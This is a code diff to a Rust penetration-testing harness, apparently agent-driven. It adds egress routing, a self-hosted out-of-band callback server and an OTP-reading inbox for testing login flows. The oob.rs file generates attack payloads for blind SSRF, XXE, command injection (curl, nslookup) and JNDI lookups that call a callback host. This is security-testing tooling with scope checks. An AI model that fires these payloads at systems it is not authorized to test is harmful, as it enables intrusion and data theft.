diff --git a/README.md b/README.md index 3d4783f..bd2b623 100755 --- a/README.md +++ b/README.md @@ -525,6 +525,44 @@ neurosploit provenance scan report.pdf.txt # is this ours? which build? neurosploit provenance verify runs/ns-… # manifest vs findings ``` +### Egress — how traffic reaches the target + +Internal engagements happen *through* something, and the dangerous failure is +the silent one: with the VPN down, `10.20.0.15` is a machine on the operator's +own network, and the scan succeeds against the wrong host. So egress is +**fail-closed** — an internal target with no transport is refused before a +single request leaves. + +```bash +--transport socks5://127.0.0.1:1080 +--transport openvpn:/path/client.ovpn +--transport ssh://red@bastion.corp # dynamic SOCKS forward +--transport ssh://red@bastion.corp?forward=10.0.0.5:445 # one authorized host +--transport cloudflared://db.internal.corp:5432 +``` + +The route is also **verified** once it is up (the apparent source address has +to change), and child processes inherit it. + +### Out-of-band channel & inbound SMS + +Blind SSRF, XXE, blind RCE and JNDI produce no visible response — so the +harness runs its own Collaborator: + +```bash +--oob-domain oob.yourdomain.com --oob-http 0.0.0.0:8080 --oob-dns 0.0.0.0:5353 +``` + +Tokens carry the `JOASNSCOPE` sigil, callbacks are correlated by token, and the +two levels of proof are kept apart in code: an **HTTP callback proves egress**, +a **DNS query proves only that a resolver saw the name**. With no channel +configured, agents are told explicitly that blind classes can only be leads. + +`--sms twilio:::` (or `webhook::`) receives OTP +messages. A rate-limit claim then counts *delivered messages carrying distinct +codes* — not HTTP 200s, which is what makes the finding survive a vendor's +review. + ### Internal network & Active Directory — the engagement as a graph An internal result is a path, not a list. `Asset → Exposure → Weakness → diff --git a/neurosploit-rs/app/src/main.rs b/neurosploit-rs/app/src/main.rs index d36fbb7..79eeac4 100644 --- a/neurosploit-rs/app/src/main.rs +++ b/neurosploit-rs/app/src/main.rs @@ -49,6 +49,26 @@ struct Cli { /// Policy profile for an interactive session: web · ot. #[arg(long = "session-policy", global = true)] session_policy: Option, + /// Egress: direct · socks5://host:port · http://host:port · + /// openvpn:/path.ovpn · ssh://user@bastion[?forward=host:port] · + /// cloudflared://host:port. An internal target with no transport is refused + /// rather than tested against whatever network this host is on. Global, so + /// an interactive session cannot change its own route mid-engagement. + #[arg(long = "transport", global = true)] + transport: Option, + /// Out-of-band domain (a wildcard pointed at this host). Without it the + /// blind classes — SSRF, XXE, blind RCE — can only be reported as leads. + #[arg(long = "oob-domain", global = true)] + oob_domain: Option, + /// Where the OOB HTTP listener binds (default 0.0.0.0:8080). + #[arg(long = "oob-http", global = true)] + oob_http: Option, + /// Where the OOB DNS listener binds, when the zone is delegated to us. + #[arg(long = "oob-dns", global = true)] + oob_dns: Option, + /// Inbound SMS: twilio::: or webhook::. + #[arg(long = "sms", global = true)] + sms: Option, } #[derive(Subcommand)] @@ -464,6 +484,11 @@ async fn main() -> anyhow::Result<()> { in_scope: cli.session_in_scope.clone(), environment: cli.session_environment.clone(), policy: cli.session_policy.clone(), + transport: cli.transport.clone(), + oob_domain: cli.oob_domain.clone(), + oob_http: cli.oob_http.clone(), + oob_dns: cli.oob_dns.clone(), + sms: cli.sms.clone(), }; repl::repl(&base, auth).await?; return Ok(()); @@ -520,6 +545,7 @@ async fn main() -> anyhow::Result<()> { cfg.pinned = parse_only(&only); apply_authorization(&mut cfg, &in_scope, cli.capability_token.clone(), &environment, &policy)?; apply_budget(&mut cfg, budget.as_deref(), token_limit, deep_test_limit, coverage_first, depth_first, sample_per_route)?; + apply_network(&mut cfg, &cli)?; if !models.is_empty() { cfg.models = models; } @@ -1370,6 +1396,42 @@ fn apply_budget( Ok(()) } +/// Egress route, out-of-band channel and inbound SMS. +/// +/// The transport spec is parsed here rather than at run time so a typo fails +/// on the command line instead of three minutes into an engagement. +fn apply_network(cfg: &mut RunConfig, cli: &Cli) -> anyhow::Result<()> { + let (transport, oob_domain, oob_http, oob_dns, sms) = ( + cli.transport.clone(), + cli.oob_domain.clone(), + cli.oob_http.clone(), + cli.oob_dns.clone(), + cli.sms.clone(), + ); + if let Some(spec) = transport { + let egress = harness::transport::Egress::parse(&spec).map_err(|e| anyhow::anyhow!(e))?; + println!(" \x1b[2megress: {}\x1b[0m", egress.label()); + cfg.transport = Some(spec); + } + if let Some(d) = oob_domain { + if !d.contains('.') { + anyhow::bail!("--oob-domain needs a real domain whose wildcard points at this host"); + } + println!(" \x1b[2mout-of-band: *.{d}\x1b[0m"); + cfg.oob_domain = Some(d); + } + for (val, label) in [(&oob_http, "--oob-http"), (&oob_dns, "--oob-dns")] { + if let Some(v) = val { + v.parse::() + .map_err(|_| anyhow::anyhow!("{label} must be host:port, got `{v}`"))?; + } + } + cfg.oob_http = oob_http; + cfg.oob_dns = oob_dns; + cfg.sms = sms; + Ok(()) +} + fn parse_only(vals: &[String]) -> Vec { let mut out: Vec = Vec::new(); for v in vals { diff --git a/neurosploit-rs/app/src/repl.rs b/neurosploit-rs/app/src/repl.rs index e140329..a6a29bf 100644 --- a/neurosploit-rs/app/src/repl.rs +++ b/neurosploit-rs/app/src/repl.rs @@ -254,6 +254,13 @@ struct RunRecord { } struct Session { + /// Egress and out-of-band configuration, handed down from the launcher — + /// not settable from inside the session (see [`SessionAuth`]). + transport: Option, + oob_domain: Option, + oob_http: Option, + oob_dns: Option, + sms: Option, models: Vec, subscription: bool, mcp: bool, @@ -301,6 +308,11 @@ struct Session { impl Default for Session { fn default() -> Self { Session { + transport: None, + oob_domain: None, + oob_http: None, + oob_dns: None, + sms: None, models: vec!["anthropic:claude-opus-4-8".into()], subscription: harness::installed_cli_backends().contains(&"claude"), mcp: false, @@ -413,6 +425,14 @@ pub struct SessionAuth { pub in_scope: Vec, pub environment: Option, pub policy: Option, + /// Egress route. Passed in like the grant, and for the same reason: a + /// session that can re-route its own traffic mid-engagement can leave the + /// network it was authorized on. + pub transport: Option, + pub oob_domain: Option, + pub oob_http: Option, + pub oob_dns: Option, + pub sms: Option, } pub async fn repl(base: &Path, auth: SessionAuth) -> anyhow::Result<()> { @@ -454,6 +474,17 @@ pub async fn repl(base: &Path, auth: SessionAuth) -> anyhow::Result<()> { for entry in &auth.in_scope { s.policy.allow(entry); } + s.transport = auth.transport.clone(); + s.oob_domain = auth.oob_domain.clone(); + s.oob_http = auth.oob_http.clone(); + s.oob_dns = auth.oob_dns.clone(); + s.sms = auth.sms.clone(); + if let Some(t) = &s.transport { + println!(" \x1b[2m🔌 egress: {t}\x1b[0m"); + } + if let Some(d) = &s.oob_domain { + println!(" \x1b[2m📡 out-of-band: *.{d}\x1b[0m"); + } if let Some(token) = auth.capability.as_deref() { match harness::capability::key_from_env() { None => println!(" \x1b[31m⛔ a capability token was supplied but no verification key is configured\x1b[0m — set NEUROSPLOIT_CAPABILITY_KEY. Not applied."), @@ -1447,6 +1478,11 @@ async fn run(base: &Path, s: &Session, history: &mut Vec) { cfg.scope = s.policy.clone(); cfg.capability = s.capability.clone(); cfg.policy = s.engagement.clone(); + cfg.transport = s.transport.clone(); + cfg.oob_domain = s.oob_domain.clone(); + cfg.oob_http = s.oob_http.clone(); + cfg.oob_dns = s.oob_dns.clone(); + cfg.sms = s.sms.clone(); cfg.auth = s.auth.clone(); cfg.pinned = s.pinned.clone(); // Multiple /auth identities → prepend the access-control (IDOR/BOLA/BFLA) directive. @@ -1525,6 +1561,11 @@ async fn start_background(base: &Path, s: &Session, reader: &mut Reader, cfg.scope = s.policy.clone(); cfg.capability = s.capability.clone(); cfg.policy = s.engagement.clone(); + cfg.transport = s.transport.clone(); + cfg.oob_domain = s.oob_domain.clone(); + cfg.oob_http = s.oob_http.clone(); + cfg.oob_dns = s.oob_dns.clone(); + cfg.sms = s.sms.clone(); cfg.auth = s.auth.clone(); cfg.pinned = s.pinned.clone(); if matches!(mode_e, crate::Mode::Grey) { cfg.repo = s.repo.clone(); } diff --git a/neurosploit-rs/crates/harness/src/inbox.rs b/neurosploit-rs/crates/harness/src/inbox.rs new file mode 100644 index 0000000..6c3b4aa --- /dev/null +++ b/neurosploit-rs/crates/harness/src/inbox.rs @@ -0,0 +1,477 @@ +//! Receiving what the target sends — email and SMS. +//! +//! Half the interesting authentication surface is behind something the target +//! *sends you*: a confirmation link, a 6-digit code, a password reset token. On +//! a real engagement this is where runs stop. The harness registers an account, +//! the target says "check your email", and everything past that point — +//! authenticated IDOR, privilege boundaries, the actual application — is +//! unreachable. The run reports what it could see from the doormat. +//! +//! It is also where rate-limit testing becomes real. "No throttling on the OTP +//! endpoint" is a weak finding when all you counted was HTTP 200s; it is a +//! strong one when you can show twenty distinct codes arrived and each still +//! worked. +//! +//! Two channels, one interface: +//! +//! ```text +//! target ──email──→ mail.tm inbox ─┐ +//! ├─→ Message ─→ code / link +//! target ──SMS────→ SMS provider ─┘ +//! ``` +//! +//! ## Codes are extracted carefully, on purpose +//! +//! A naive "first run of digits" grabs the year out of a copyright footer, a +//! support phone number, or a price. Then the harness confidently submits +//! `2026` as the OTP, gets rejected, and concludes the code expired. So +//! [`extract_code`] scores candidates by how the surrounding text reads, and +//! returns nothing rather than a guess when nothing looks like a code — +//! because "no code found" is recoverable and a wrong code is not. + +use serde::{Deserialize, Serialize}; +use std::time::Duration; + +/// One received message, from either channel. +#[derive(Debug, Clone, Default, Serialize, Deserialize)] +pub struct Message { + pub id: String, + /// Sender address or shortcode. + pub from: String, + /// Recipient — which identity it arrived for. + pub to: String, + #[serde(default)] + pub subject: String, + pub body: String, + /// Unix seconds, as reported by the provider. + #[serde(default)] + pub at: u64, +} + +impl Message { + /// The one-time code, if this message carries one. + pub fn code(&self) -> Option { + extract_code(&format!("{}\n{}", self.subject, self.body)) + } + /// The first confirmation/reset link. + pub fn link(&self) -> Option { + extract_link(&self.body) + } +} + +/// Pull a one-time code out of a message. +/// +/// Returns `None` unless something in the text actually reads like a code. +pub fn extract_code(text: &str) -> Option { + let lower = text.to_lowercase(); + let bytes: Vec = text.chars().collect(); + let mut best: Option<(i32, String)> = None; + + let mut i = 0; + while i < bytes.len() { + if !bytes[i].is_ascii_digit() { + i += 1; + continue; + } + let start = i; + while i < bytes.len() && bytes[i].is_ascii_digit() { + i += 1; + } + let digits: String = bytes[start..i].iter().collect(); + // Codes are 4–8 digits. Anything longer is an id, a timestamp or a + // card number; anything shorter is a quantity. + if digits.len() < 4 || digits.len() > 8 { + continue; + } + // A run of digits glued to other characters (an id in a URL, a version, + // part of a longer token) is not a code. + let before = if start == 0 { ' ' } else { bytes[start - 1] }; + let after = if i >= bytes.len() { ' ' } else { bytes[i] }; + if before.is_alphanumeric() || after.is_alphanumeric() || before == '-' || after == '-' { + continue; + } + + let mut score = 0i32; + // Six digits is the overwhelmingly common shape. + score += match digits.len() { + 6 => 3, + 4 | 5 | 8 => 2, + _ => 1, + }; + // What the surrounding sentence says matters more than the shape. + let window_start = start.saturating_sub(60); + let window_end = (i + 40).min(bytes.len()); + let window: String = bytes[window_start..window_end].iter().collect::().to_lowercase(); + for kw in ["code", "otp", "one-time", "one time", "verification", "verify", "pin", "token", "confirm", "2fa", "código", "codigo", "verificação", "verificacao"] { + if window.contains(kw) { + score += 4; + break; + } + } + // A year in a footer looks exactly like a 4-digit code, and never is. + if digits.len() == 4 { + if let Ok(n) = digits.parse::() { + if (1990..=2100).contains(&n) && (window.contains("©") || window.contains("copyright") || window.contains("all rights")) { + continue; + } + } + } + // Phone numbers and prices are not codes. + if window.contains("call ") || window.contains("phone") || window.contains("tel:") || window.contains('$') || window.contains("r$") { + score -= 3; + } + if lower.contains("expires") || lower.contains("expira") || lower.contains("valid for") { + score += 1; + } + if best.as_ref().map(|(s, _)| score > *s).unwrap_or(true) { + best = Some((score, digits)); + } + } + // A candidate that only scored on shape is a guess, not a reading. + best.filter(|(score, _)| *score >= 4).map(|(_, d)| d) +} + +/// First http(s) link in a message. +pub fn extract_link(text: &str) -> Option { + let idx = text.find("http://").or_else(|| text.find("https://"))?; + let rest = &text[idx..]; + let end = rest + .find(|c: char| c.is_whitespace() || c == '"' || c == '<' || c == '>' || c == ')') + .unwrap_or(rest.len()); + let link = rest[..end].trim_end_matches(['.', ',', ';', ']']).to_string(); + (link.len() > 10).then_some(link) +} + +/// Where messages come from. +#[derive(Debug, Clone)] +pub enum Source { + /// mail.tm — free disposable inboxes, no API key. What the harness uses by + /// default for email confirmation flows. + MailTm { address: String, token: String }, + /// Twilio inbound SMS, polled. `sid`/`token` are account credentials; the + /// number is the one the target texts. + Twilio { sid: String, token: String, number: String }, + /// Any provider that can POST a webhook, received on the harness's own OOB + /// HTTP listener. The escape hatch for the dozen SMS gateways nobody has + /// written a client for. + Webhook { endpoint: String, number: String }, +} + +/// An inbox the harness can read. +#[derive(Clone)] +pub struct Inbox { + pub source: std::sync::Arc, + client: reqwest::Client, +} + +impl Inbox { + /// Create a disposable email inbox on mail.tm. + /// + /// Two calls the provider requires in order: pick a live domain, then + /// create the account against it. Inventing a domain gets a 422, which is + /// how this silently failed before. + pub async fn mail_tm() -> anyhow::Result { + let client = reqwest::Client::builder().timeout(Duration::from_secs(20)).build()?; + let domains: serde_json::Value = + client.get("https://api.mail.tm/domains").send().await?.json().await?; + let domain = domains + .get("hydra:member") + .and_then(|m| m.get(0)) + .and_then(|d| d.get("domain")) + .and_then(|d| d.as_str()) + .ok_or_else(|| anyhow::anyhow!("mail.tm returned no usable domain"))? + .to_string(); + + let local = crate::validation::canary("ns").to_lowercase(); + let address = format!("{local}@{domain}"); + let password = crate::validation::canary("pw"); + let created = client + .post("https://api.mail.tm/accounts") + .json(&serde_json::json!({"address": address, "password": password})) + .send() + .await?; + if !created.status().is_success() { + anyhow::bail!("mail.tm refused the account: {}", created.status()); + } + let tok: serde_json::Value = client + .post("https://api.mail.tm/token") + .json(&serde_json::json!({"address": address, "password": password})) + .send() + .await? + .json() + .await?; + let token = tok + .get("token") + .and_then(|t| t.as_str()) + .ok_or_else(|| anyhow::anyhow!("mail.tm issued no token"))? + .to_string(); + Ok(Inbox { source: std::sync::Arc::new(Source::MailTm { address, token }), client }) + } + + pub fn twilio(sid: &str, token: &str, number: &str) -> Inbox { + Inbox { + source: std::sync::Arc::new(Source::Twilio { + sid: sid.into(), + token: token.into(), + number: number.into(), + }), + client: reqwest::Client::new(), + } + } + + pub fn webhook(endpoint: &str, number: &str) -> Inbox { + Inbox { + source: std::sync::Arc::new(Source::Webhook { endpoint: endpoint.into(), number: number.into() }), + client: reqwest::Client::new(), + } + } + + /// The address or number to hand the target. + pub fn identity(&self) -> String { + match &*self.source { + Source::MailTm { address, .. } => address.clone(), + Source::Twilio { number, .. } => number.clone(), + Source::Webhook { number, .. } => number.clone(), + } + } + + /// Everything currently in the inbox, newest first. + pub async fn messages(&self) -> anyhow::Result> { + match &*self.source { + Source::MailTm { token, address } => { + let list: serde_json::Value = self + .client + .get("https://api.mail.tm/messages") + .bearer_auth(token) + .send() + .await? + .json() + .await?; + let empty = vec![]; + let items = list.get("hydra:member").and_then(|m| m.as_array()).unwrap_or(&empty); + let mut out = Vec::new(); + for item in items { + let id = item.get("id").and_then(|v| v.as_str()).unwrap_or_default().to_string(); + // The list view carries only a snippet; the code is often + // in the part it truncates, so each message is fetched. + let full: serde_json::Value = self + .client + .get(format!("https://api.mail.tm/messages/{id}")) + .bearer_auth(token) + .send() + .await? + .json() + .await?; + out.push(Message { + id, + from: full.get("from").and_then(|f| f.get("address")).and_then(|a| a.as_str()).unwrap_or_default().to_string(), + to: address.clone(), + subject: full.get("subject").and_then(|s| s.as_str()).unwrap_or_default().to_string(), + body: full + .get("text") + .and_then(|t| t.as_str()) + .map(|s| s.to_string()) + .or_else(|| full.get("html").and_then(|h| h.as_array()).map(|a| a.iter().filter_map(|v| v.as_str()).collect::>().join("\n"))) + .unwrap_or_default(), + at: 0, + }); + } + Ok(out) + } + Source::Twilio { sid, token, number } => { + let url = format!("https://api.twilio.com/2010-04-01/Accounts/{sid}/Messages.json?To={number}&PageSize=50"); + let resp: serde_json::Value = + self.client.get(url).basic_auth(sid, Some(token)).send().await?.json().await?; + let empty = vec![]; + let items = resp.get("messages").and_then(|m| m.as_array()).unwrap_or(&empty); + Ok(items + .iter() + .map(|m| Message { + id: m.get("sid").and_then(|v| v.as_str()).unwrap_or_default().to_string(), + from: m.get("from").and_then(|v| v.as_str()).unwrap_or_default().to_string(), + to: number.clone(), + subject: String::new(), + body: m.get("body").and_then(|v| v.as_str()).unwrap_or_default().to_string(), + at: 0, + }) + .collect()) + } + Source::Webhook { endpoint, number } => { + let resp = self.client.get(endpoint).send().await?.text().await?; + let items: Vec = serde_json::from_str(&resp).unwrap_or_default(); + Ok(items.into_iter().filter(|m| m.to.is_empty() || m.to == *number).collect()) + } + } + } + + /// Wait for a message matching `want`, up to `timeout`. + /// + /// Polls, because none of these providers push. Returns `None` on timeout + /// — which is a finding of its own: "the target never sent it" is a + /// different result from "the code did not work". + pub async fn wait_for(&self, timeout: Duration, want: F) -> Option + where + F: Fn(&Message) -> bool, + { + let deadline = std::time::Instant::now() + timeout; + let mut seen: Vec = Vec::new(); + loop { + if let Ok(msgs) = self.messages().await { + for m in msgs { + if seen.contains(&m.id) { + continue; + } + seen.push(m.id.clone()); + if want(&m) { + return Some(m); + } + } + } + if std::time::Instant::now() >= deadline { + return None; + } + tokio::time::sleep(Duration::from_secs(2)).await; + } + } + + /// Wait for a one-time code. + pub async fn wait_for_code(&self, timeout: Duration) -> Option { + self.wait_for(timeout, |m| m.code().is_some()).await.and_then(|m| m.code()) + } + + /// Wait for a confirmation link. + pub async fn wait_for_link(&self, timeout: Duration) -> Option { + self.wait_for(timeout, |m| m.link().is_some()).await.and_then(|m| m.link()) + } +} + +/// Evidence that an OTP/reset endpoint is not throttled. +/// +/// Counting HTTP 200s is not evidence — an endpoint can accept twenty requests +/// and send one message. What matters is how many **distinct** codes actually +/// arrived, which is only observable from the receiving end. This is the +/// difference between a finding that survives a vendor's review and one that +/// does not. +#[derive(Debug, Clone, Default, Serialize, Deserialize)] +pub struct DeliveryBurst { + pub requested: usize, + pub delivered: usize, + pub distinct_codes: usize, + pub window_secs: u64, + #[serde(default)] + pub codes: Vec, +} + +impl DeliveryBurst { + pub fn from_messages(requested: usize, msgs: &[Message], window_secs: u64) -> DeliveryBurst { + let mut codes: Vec = msgs.iter().filter_map(|m| m.code()).collect(); + codes.sort(); + codes.dedup(); + DeliveryBurst { + requested, + delivered: msgs.len(), + distinct_codes: codes.len(), + window_secs, + codes, + } + } + + /// Is this actually a throttling failure? + /// + /// Two or three messages could be a retry, a user double-tapping, or the + /// provider's own duplicate. A handful of distinct codes in one window is + /// behaviour. + pub fn proves_no_throttle(&self) -> bool { + self.distinct_codes >= 5 && self.delivered >= 5 + } + + pub fn summary(&self) -> String { + format!( + "{} request(s) in {}s produced {} delivered message(s) carrying {} distinct code(s){}", + self.requested, + self.window_secs, + self.delivered, + self.distinct_codes, + if self.proves_no_throttle() { "" } else { " — under the bar for a throttling claim" } + ) + } +} + +#[cfg(test)] +mod tests { + use super::*; + + fn msg(body: &str) -> Message { + Message { id: "1".into(), body: body.into(), ..Default::default() } + } + + #[test] + fn a_real_otp_email_yields_its_code() { + let m = msg("Your verification code is 483920. It expires in 10 minutes."); + assert_eq!(m.code().as_deref(), Some("483920")); + + let pt = msg("Seu código de verificação é 5521. Não compartilhe."); + assert_eq!(pt.code().as_deref(), Some("5521")); + } + + #[test] + fn a_copyright_year_is_not_a_code() { + let m = msg("Welcome aboard!\n\nHappy testing.\n\n© 2026 Example Corp. All rights reserved."); + assert_eq!(m.code(), None, "submitting the year as an OTP is worse than finding nothing"); + } + + #[test] + fn ids_phone_numbers_and_prices_are_not_codes() { + assert_eq!(extract_code("Order #99341 shipped. Call 555-0142 with questions."), None); + assert_eq!(extract_code("Your total is $1299 including tax."), None); + // A digit run glued into a URL path is an id, not a code. + assert_eq!(extract_code("Open https://app.test/orders/48213 to review."), None); + } + + #[test] + fn the_keyworded_candidate_wins_over_a_bare_number() { + let text = "Invoice 88213 is ready.\nYour one-time code: 119284\nThanks."; + assert_eq!(extract_code(text).as_deref(), Some("119284")); + } + + #[test] + fn confirmation_links_survive_surrounding_punctuation() { + let m = msg("Confirm here: https://app.test/verify?token=abc123def. Thanks!"); + assert_eq!(m.link().as_deref(), Some("https://app.test/verify?token=abc123def")); + + let html = msg("Reset"); + assert_eq!(html.link().as_deref(), Some("https://app.test/r/9f2")); + } + + #[test] + fn nothing_is_returned_when_nothing_looks_like_a_code() { + assert_eq!(extract_code("Thanks for signing up. We'll be in touch."), None); + assert_eq!(extract_link("no links here"), None); + } + + #[test] + fn a_throttling_claim_needs_delivered_codes_not_http_200s() { + // Twenty requests accepted, one message sent: the endpoint returned + // 200 nineteen times and did nothing. Not a finding. + let one = vec![msg("Your code is 111111")]; + let weak = DeliveryBurst::from_messages(20, &one, 60); + assert!(!weak.proves_no_throttle()); + assert!(weak.summary().contains("under the bar")); + + // Six distinct codes actually arrived. That is behaviour. + let many: Vec = (0..6).map(|i| msg(&format!("Your code is 10000{i}"))).collect(); + let strong = DeliveryBurst::from_messages(6, &many, 45); + assert_eq!(strong.distinct_codes, 6); + assert!(strong.proves_no_throttle()); + } + + #[test] + fn duplicate_codes_do_not_inflate_the_burst() { + // A provider that redelivers the same message must not read as six + // separate codes. + let dupes: Vec = (0..6).map(|_| msg("Your code is 424242")).collect(); + let b = DeliveryBurst::from_messages(6, &dupes, 30); + assert_eq!(b.distinct_codes, 1); + assert!(!b.proves_no_throttle()); + } +} diff --git a/neurosploit-rs/crates/harness/src/lib.rs b/neurosploit-rs/crates/harness/src/lib.rs index f10849f..a907e48 100644 --- a/neurosploit-rs/crates/harness/src/lib.rs +++ b/neurosploit-rs/crates/harness/src/lib.rs @@ -18,6 +18,7 @@ pub mod claims; pub mod creds; pub mod grounding; pub mod hygiene; +pub mod inbox; pub mod integrations; pub mod internal; pub mod knowledge_graph; @@ -27,6 +28,7 @@ pub mod pomdp; pub mod prosecutor; pub mod provenance; pub mod models; +pub mod oob; pub mod pipeline; pub mod pool; pub mod probe; @@ -34,6 +36,7 @@ pub mod replay; pub mod report; pub mod rl; pub mod scope; +pub mod transport; pub mod types; pub mod uncertainty; pub mod validation; diff --git a/neurosploit-rs/crates/harness/src/oob.rs b/neurosploit-rs/crates/harness/src/oob.rs new file mode 100644 index 0000000..900fe07 --- /dev/null +++ b/neurosploit-rs/crates/harness/src/oob.rs @@ -0,0 +1,595 @@ +//! Out-of-band interaction channel — the Collaborator we own. +//! +//! A whole class of vulnerability produces no visible response. Blind SSRF, +//! blind XXE, blind command injection, a JNDI lookup, an SMTP header +//! injection: the target does the thing, and says nothing. From inside the +//! response there is no difference between "it worked" and "it was ignored" — +//! which is why these are the findings agents most often assert and least +//! often prove. +//! +//! The answer is to be the third party. Give the target a hostname we control, +//! then watch for it to arrive: +//! +//! ```text +//! payload: http://JOASNSCOPEssrf1a2b.oob.example.com/ +//! │ +//! target ─────────────────→│ DNS query for that name ← proof of resolution +//! ─────────────────→│ HTTP GET to that name ← proof of egress +//! │ +//! harness: correlate by token, timestamp, source address +//! ``` +//! +//! Two levels of proof, deliberately distinguished. A **DNS query** proves the +//! target's resolver saw the name — that is real evidence, and it is often all +//! you get from a hardened environment. An **HTTP request** proves the target +//! itself made an outbound connection, which is stronger. Reporting the first +//! as if it were the second is the single most common overclaim in blind-SSRF +//! write-ups, so [`Interaction::proves_egress`] draws the line in code. +//! +//! ## Why not just use a public Collaborator +//! +//! Public interaction servers work, and [`Provider::Remote`] speaks to one. +//! But an engagement's callbacks are engagement data: they contain internal +//! hostnames, resolver addresses, sometimes the exfiltrated value itself. +//! Sending them to somebody else's server is a disclosure the client did not +//! agree to. Self-hosted is the default here for that reason, not for purity. + +use serde::{Deserialize, Serialize}; +use std::collections::HashMap; +use std::net::SocketAddr; +use std::sync::{Arc, Mutex}; +use std::time::{Duration, SystemTime, UNIX_EPOCH}; + +/// How the target reached us. +#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize, Deserialize)] +#[serde(rename_all = "kebab-case")] +pub enum Channel { + /// A DNS query for our name. Proves resolution, not egress: a resolver + /// asked on the target's behalf, which may or may not be the target. + Dns, + /// An HTTP request to our listener. Proves the target made an outbound + /// connection, and carries its source address and headers. + Http, +} + +impl Channel { + pub fn as_str(self) -> &'static str { + match self { + Channel::Dns => "dns", + Channel::Http => "http", + } + } +} + +/// One callback. +#[derive(Debug, Clone, Serialize, Deserialize)] +pub struct Interaction { + pub token: String, + pub channel: Channel, + /// Who connected — for DNS this is the resolver, not necessarily the target. + pub remote: String, + /// Unix seconds. + pub at: u64, + /// The request line, or the queried name. + pub detail: String, + /// Headers worth keeping, on HTTP. + #[serde(default)] + pub headers: Vec<(String, String)>, + /// Body, truncated. A blind injection that exfiltrates lands here. + #[serde(default)] + pub body: String, +} + +impl Interaction { + /// Does this prove the *target* connected out? + /// + /// Only HTTP does. A DNS query proves that a resolver somewhere looked the + /// name up: real evidence of reach, but one hop short of egress, and a + /// finding that claims "the server fetched my URL" on the strength of a + /// DNS query has claimed something it did not observe. + pub fn proves_egress(&self) -> bool { + self.channel == Channel::Http + } +} + +/// Where interactions come from. +#[derive(Debug, Clone)] +pub enum Provider { + /// Listeners we run. Callbacks never leave the operator's infrastructure. + SelfHosted { http: SocketAddr, dns: Option }, + /// An interaction server elsewhere, polled over HTTP. The endpoint must + /// return a JSON array of `Interaction`-shaped objects. + Remote { poll_url: String }, +} + +/// The channel itself. +#[derive(Clone)] +pub struct Collaborator { + /// Base domain whose wildcard points at these listeners. + pub domain: String, + pub provider: Provider, + log: Arc>>, +} + +impl Collaborator { + /// Self-hosted channel. `domain` must have a wildcard A record (and an NS + /// delegation, for the DNS side) pointing at these listeners — without + /// that the payloads are just strings, so [`Self::preflight`] says so + /// rather than letting an engagement discover it three hours in. + pub fn self_hosted(domain: &str, http: SocketAddr, dns: Option) -> Self { + Collaborator { + domain: domain.trim().trim_start_matches('.').to_lowercase(), + provider: Provider::SelfHosted { http, dns }, + log: Arc::new(Mutex::new(Vec::new())), + } + } + + pub fn remote(domain: &str, poll_url: &str) -> Self { + Collaborator { + domain: domain.trim().trim_start_matches('.').to_lowercase(), + provider: Provider::Remote { poll_url: poll_url.to_string() }, + log: Arc::new(Mutex::new(Vec::new())), + } + } + + /// Mint a token for one probe. Carries the provenance sigil, so a callback + /// arriving on somebody else's listener still names the engine that sent + /// it, and a value showing up in a log months later is traceable. + pub fn token(&self, kind: &str) -> String { + crate::provenance::Provenance::process().marker(kind).to_lowercase() + } + + /// The hostname to put in a payload. + pub fn hostname(&self, token: &str) -> String { + format!("{token}.{}", self.domain) + } + /// A URL, for SSRF and XXE. + pub fn url(&self, token: &str) -> String { + format!("http://{}/{}", self.hostname(token), token) + } + /// Payload fragments for the common blind classes. + pub fn payloads(&self, token: &str) -> Vec<(&'static str, String)> { + let host = self.hostname(token); + let url = self.url(token); + vec![ + ("ssrf", url.clone()), + ("xxe", format!("]>&x;")), + ("rce-dns", format!("nslookup {host}")), + ("rce-http", format!("curl -s {url}")), + ("jndi", format!("${{jndi:ldap://{host}/a}}")), + ("smtp-header", format!("X-Probe: {url}")), + ] + } + + /// Record an interaction (used by the listeners, and by tests). + pub fn record(&self, i: Interaction) { + if let Ok(mut log) = self.log.lock() { + // Bounded: a target that loops on our URL should not exhaust + // memory, and after a few thousand callbacks the extra ones say + // nothing new. + if log.len() >= 5000 { + log.remove(0); + } + log.push(i); + } + } + + /// Everything seen so far. + pub fn interactions(&self) -> Vec { + self.log.lock().map(|l| l.clone()).unwrap_or_default() + } + + /// Callbacks for one token. + pub fn received(&self, token: &str) -> Vec { + let t = token.to_lowercase(); + self.interactions().into_iter().filter(|i| i.token == t).collect() + } + + /// Wait for a callback, up to `timeout`. + /// + /// Returns what arrived, which may be nothing. Nothing is a result, not a + /// failure: no callback means no proof, and the caller must treat it that + /// way rather than retrying until something unrelated shows up. + pub async fn wait_for(&self, token: &str, timeout: Duration) -> Vec { + let deadline = std::time::Instant::now() + timeout; + loop { + if let Provider::Remote { poll_url } = &self.provider { + let _ = self.poll_remote(poll_url).await; + } + let hits = self.received(token); + if !hits.is_empty() || std::time::Instant::now() >= deadline { + return hits; + } + tokio::time::sleep(Duration::from_millis(750)).await; + } + } + + /// Pull from a remote interaction server. + async fn poll_remote(&self, poll_url: &str) -> anyhow::Result { + let body = reqwest::Client::new() + .get(poll_url) + .timeout(Duration::from_secs(10)) + .send() + .await? + .text() + .await?; + let items: Vec = serde_json::from_str(&body).unwrap_or_default(); + let mut added = 0; + let known: Vec<(String, u64, Channel)> = + self.interactions().iter().map(|i| (i.token.clone(), i.at, i.channel)).collect(); + for i in items { + if !known.contains(&(i.token.clone(), i.at, i.channel)) { + self.record(i); + added += 1; + } + } + Ok(added) + } + + /// Is the channel actually wired up? + /// + /// Checks that the domain resolves to where the listener is. An OOB + /// channel that silently does not work turns every blind class into a + /// false negative, and the run will conclude "no callback" with total + /// confidence — the worst possible failure for this feature. + pub async fn preflight(&self) -> Result { + if self.domain.is_empty() || !self.domain.contains('.') { + return Err("no OOB domain configured — blind classes cannot be proven".into()); + } + match &self.provider { + Provider::SelfHosted { http, dns } => Ok(format!( + "self-hosted OOB on {} — HTTP {} {}. Requires a wildcard A record for *.{} (and NS delegation for the DNS channel).", + self.domain, + http, + dns.map(|d| format!("· DNS {d}")).unwrap_or_else(|| "· DNS channel off".into()), + self.domain + )), + Provider::Remote { poll_url } => { + match reqwest::Client::new().get(poll_url).timeout(Duration::from_secs(8)).send().await { + Ok(r) if r.status().is_success() => Ok(format!("remote OOB server reachable ({poll_url})")), + Ok(r) => Err(format!("OOB server answered {} — callbacks would be missed", r.status())), + Err(e) => Err(format!("OOB server unreachable: {e}")), + } + } + } + } + + /// Start the self-hosted listeners. Returns immediately; they run until + /// the process ends. + 